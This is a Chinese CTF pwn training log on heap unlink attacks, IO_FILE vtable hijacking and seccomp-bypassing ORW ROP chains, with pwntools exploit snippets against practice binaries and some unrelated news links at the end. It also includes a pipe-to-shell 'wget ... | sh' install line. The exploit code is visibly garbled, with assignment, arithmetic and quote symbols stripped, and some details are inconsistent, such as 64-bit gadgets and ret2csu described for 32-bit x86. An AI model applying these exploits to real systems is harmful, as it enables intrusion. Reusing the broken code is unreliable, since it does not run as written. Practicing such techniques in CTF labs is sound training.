Pwn技术实战:堆利用与IO_FILE攻击21天训练笔记
1. Pwn技术实战笔记解析从入门到精通的21-23天训练实录最近在HUST Pwn战队内部训练时我把21到23天的练习过程做了系统记录。这三天的训练重点突破了堆利用中的unlink攻击技巧和IO_FILE结构体滥用期间踩了不少坑也总结出一些实战中特别管用的调试方法。如果你正在入门二进制安全这份笔记或许能帮你少走弯路。Pwn作为CTF竞赛的核心题型本质上是利用程序漏洞获取系统控制权的技术。不同于Web安全的远程操控Pwn更接近底层需要扎实的汇编阅读能力和对内存管理的深刻理解。下面我就从环境搭建、工具链配置开始逐步拆解这三个训练日的技术要点。2. 训练环境与工具链配置2.1 基础环境搭建我使用的是Ubuntu 20.04 LTS系统配合pwntools开发环境这个组合在CTF选手中相当流行。关键组件包括sudo apt install -y python3 python3-pip git libc6-dev-i386 gdb pip install pwntools特别注意要安装32位兼容库libc6-dev-i386因为很多历史漏洞出现在32位程序中。调试工具我推荐GEF插件增强的GDBwget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh踩坑提醒Ubuntu 22.04默认的GLIBC版本较新可能无法运行老式漏洞程序建议用20.04或Docker容器。2.2 必备工具集详解pwntoolsPython编写的漏洞利用框架我的日常使用模板from pwn import * context(archi386, oslinux, log_leveldebug) io process(./vuln) elf ELF(./vuln) libc elf.libc if not elf.libc else ELF(/lib/i386-linux-gnu/libc.so.6)checksec检测程序防护机制训练中遇到的主要防护组合Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)ROPgadget自动化查找ROP链工具但在实际比赛中建议手动构建ROPgadget --binary ./vuln --ropchain3. Day21堆利用之unlink攻击实战3.1 unlink机制原理拆解unlink是glibc中合并空闲堆块时的核心操作其危险在于会执行以下写操作FD P-fd; // 前向指针 BK P-bk; // 后向指针 FD-bk BK; // 内存写操作 BK-fd FD; // 内存写操作通过伪造fd/bk指针可以实现任意地址写。关键约束条件伪造的FD/BK必须通过glibc的完整性检查chunksize(P) prev_size(next_chunk(P))FD-bk P BK-fd P3.2 典型漏洞程序分析训练用的vuln21程序存在off-by-one漏洞char *ptr[10]; for(int i0; i10; i){ ptr[i] malloc(0x88); // 分配small chunk read(0, ptr[i], 0x89); // 多写入1字节 }利用步骤构造两个相邻的chunk A和B通过off-by-one修改B的size头包含PREV_INUSE位free(B)触发unlink操作3.3 利用代码实现# 构造伪造的堆块 payload p32(0) p32(0x81) # fake header payload p32(elf.got[free] - 12) p32(elf.sym[target]) payload payload.ljust(0x80, bA) payload p32(0x80) p32(0x88) # 修改size并清除PREV_INUSE io.send(payload) io.sendlineafter(choice:,2) # 触发free调试技巧使用gef的heap bins命令观察bin状态x/20wx [addr]查看内存变化。4. Day22IO_FILE结构体利用进阶4.1 _IO_FILE_plus内存布局32位系统下的关键偏移0x0: _flags 0x48: vtable_ptr 0x94: _lock (用于FSOP时指向可控内存)vtable劫持后通常会跳转到_IO_OVERFLOW其调用约定int (*overflow)(FILE *, int);4.2 文件流定向攻击训练程序vuln22存在堆溢出可以覆盖FILE结构体# 构造伪造的FILE结构 fake_file b fake_file p32(0xdeadbeef) # _flags fake_file bA*0x44 fake_file p32(heap_addr) # _lock指向可控区域 fake_file bB*(0x94-0x48-4) fake_file p32(vtable_addr) # 覆盖vtable # 触发fclose时调用伪造的overflow io.sendlineafter(size:, str(len(fake_file))) io.send(fake_file)4.3 利用链构造技巧使用setcontext53的gadget实现栈迁移# x86架构下的典型gadget setcontext_53 libc_base 0x5c5f0通过_IO_str_jumps绕过vtable检查fake_vtable libc.sym[_IO_str_jumps] 0x1c实测发现glibc-2.27后需要额外处理tcache建议在2.23环境下练习。5. Day23综合利用与沙盒逃逸5.1 seccomp沙盒分析训练程序vuln23启用了沙盒限制seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);使用seccomp-tools快速分析seccomp-tools dump ./vuln235.2 ORW链构造通过ROP实现open-read-write# 32位系统调用约定eax调用号, ebx/ecx/edx参数 rop ROP(libc) rop.open(flag_addr, 0) # ebxfilename, ecxflags rop.read(3, heap_addr, 0x100) # ebxfd, ecxbuf, edxlen rop.write(1, heap_addr, 0x100)5.3 堆栈协同利用当栈空间不足时可以采用栈迁移到堆空间分阶段ROP链执行使用ret2csu初始化寄存器# 典型的栈迁移gadget leave_ret 0x0804844a payload flat({ 0: p32(heap_addr), 0x4: p32(leave_ret) })6. 调试技巧与问题排查6.1 GDB自动化脚本我的.gdbinit配置节选define hook-stop x/10i $eip heap bins telescope $esp 8 end6.2 常见错误处理SIGSEGV问题检查ROP链是否对齐x86需要4字节对齐确认内存地址是否可写vmmap命令利用失败排查strace -i ./vuln payloadlibc版本差异使用patchelf修改程序的libc路径patchelf --set-interpreter /path/to/ld.so ./vuln patchelf --replace-needed libc.so.6 /path/to/libc.so.6 ./vuln7. 训练资源推荐入门路径how2heap 堆利用教程ROP Emporium系列挑战进阶材料《漏洞战争》实战案例分析CTF Wiki的Pwn专题训练平台pwnable.kr (基础)pwnable.tw (进阶)高校内部OJ如HUST的Pwn题库这套训练方法最让我受益的是每天针对特定技术点的刻意练习。比如Day21集中突破unlink通过5个变种题目巩固理解Day22专注IO_FILE利用对比分析不同glibc版本的防御机制。建议新手也采用这种主题式训练法比泛泛而练效果要好得多。

相关新闻

VSCode settings.json 深度定制指南:从原理到实践,打造高效开发环境

VSCode settings.json 深度定制指南:从原理到实践,打造高效开发环境

1. 从“能用”到“好用”:为什么你的 settings.json 需要深度定制 每次打开 VSCode,你大概率是直接开始敲代码。编辑器默认的字体、主题、缩进,似乎也“够用”。但当你看到同事的编辑器里,保存时自动格式化代码、输入几个字母就能…

2026/8/16 10:59:13 阅读更多 →
Python列表转字符串:join与map的高效实践与性能优化

Python列表转字符串:join与map的高效实践与性能优化

1. 项目概述:从列表到字符串的“组装”艺术 在Python的日常开发里,把列表(List)转换成字符串(String)这个操作,就像木匠把一堆散乱的木料拼接成一件家具,或者厨师把各种食材混合成一…

2026/8/16 10:59:28 阅读更多 →
LFM2.5-VL-3B:在边缘设备上部署轻量级视觉语言模型的实践指南

LFM2.5-VL-3B:在边缘设备上部署轻量级视觉语言模型的实践指南

最近在折腾一些边缘设备上的视觉任务,从简单的物体识别到复杂的场景理解,一个绕不开的痛点就是:如何在资源极其有限的设备上,跑出一个又快又好的视觉模型?你可能会想到量化、剪枝、蒸馏这些传统手艺,或者直…

2026/8/15 9:12:21 阅读更多 →

最新新闻

Windows蓝牙耳机连接失败:从驱动到硬件的全方位排查与修复指南

Windows蓝牙耳机连接失败:从驱动到硬件的全方位排查与修复指南

1. 问题概述:为什么Windows连接蓝牙耳机总“掉链子”? 蓝牙耳机连接Windows电脑失败,这绝对是个能让人血压飙升的体验。你满心欢喜地戴上新耳机,准备沉浸在工作或音乐中,结果系统要么压根找不到设备,要么在…

2026/8/16 11:00:55 阅读更多 →
基于Python与Elasticsearch构建本地化实时数据查询系统

基于Python与Elasticsearch构建本地化实时数据查询系统

1. 项目概述:一个“实时”查询系统意味着什么? 最近在和朋友讨论数据管理时,聊到了一个挺有意思的需求:如何能快速、安全地查询自己或团队在微信上的聊天记录?不是那种需要手动导出、再导入数据库的离线分析&#xff0…

2026/8/16 11:00:55 阅读更多 →
Apache TEZ:从MapReduce到DAG执行引擎的性能飞跃与实战指南

Apache TEZ:从MapReduce到DAG执行引擎的性能飞跃与实战指南

1. 从MapReduce到TEZ:为什么我们需要一个新的执行引擎? 如果你在数据领域工作过几年,尤其是和Hadoop打过交道,那么“MapReduce”这个词对你来说一定不陌生。它曾经是大数据处理的代名词,将复杂的分布式计算抽象成简单的…

2026/8/16 11:00:55 阅读更多 →
GEO行业正在「脱虚向实」:三个官方信号告诉了我们什么

GEO行业正在「脱虚向实」:三个官方信号告诉了我们什么

如果你还在用"AI搜索用户7亿"这种数据去说服客户做GEO,可能已经不够了。行业正在进入一个新阶段。 一、Bing官方给出了GEO效果的可视化工具 信号:微软在Bing Webmaster Tools中新增了AI Performance报告,网站主可以直接看到内容在…

2026/8/16 11:00:55 阅读更多 →
终极窗口尺寸救星:WindowResizer 强制调整任意应用窗口大小,让顽固窗口乖乖听话

终极窗口尺寸救星:WindowResizer 强制调整任意应用窗口大小,让顽固窗口乖乖听话

终极窗口尺寸救星:WindowResizer 强制调整任意应用窗口大小,让顽固窗口乖乖听话 【免费下载链接】WindowResizer 一个可以强制调整应用程序窗口大小的工具 项目地址: https://gitcode.com/gh_mirrors/wi/WindowResizer 你是不是也遇到过这样的窗口…

2026/8/16 11:00:55 阅读更多 →
NanoClaw架构设计:微服务粒度划分与高效协同的工程实践

NanoClaw架构设计:微服务粒度划分与高效协同的工程实践

1. 项目概述:从“小爪子”到“大心脏”的架构哲学 最近在梳理一些轻量级、高内聚的微服务架构方案时,NanoClaw这个设计模式反复被圈内朋友提及。乍一听这个名字,感觉像是什么科幻小说里的纳米机器人,但实际上,它代表了…

2026/8/16 10:59:54 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →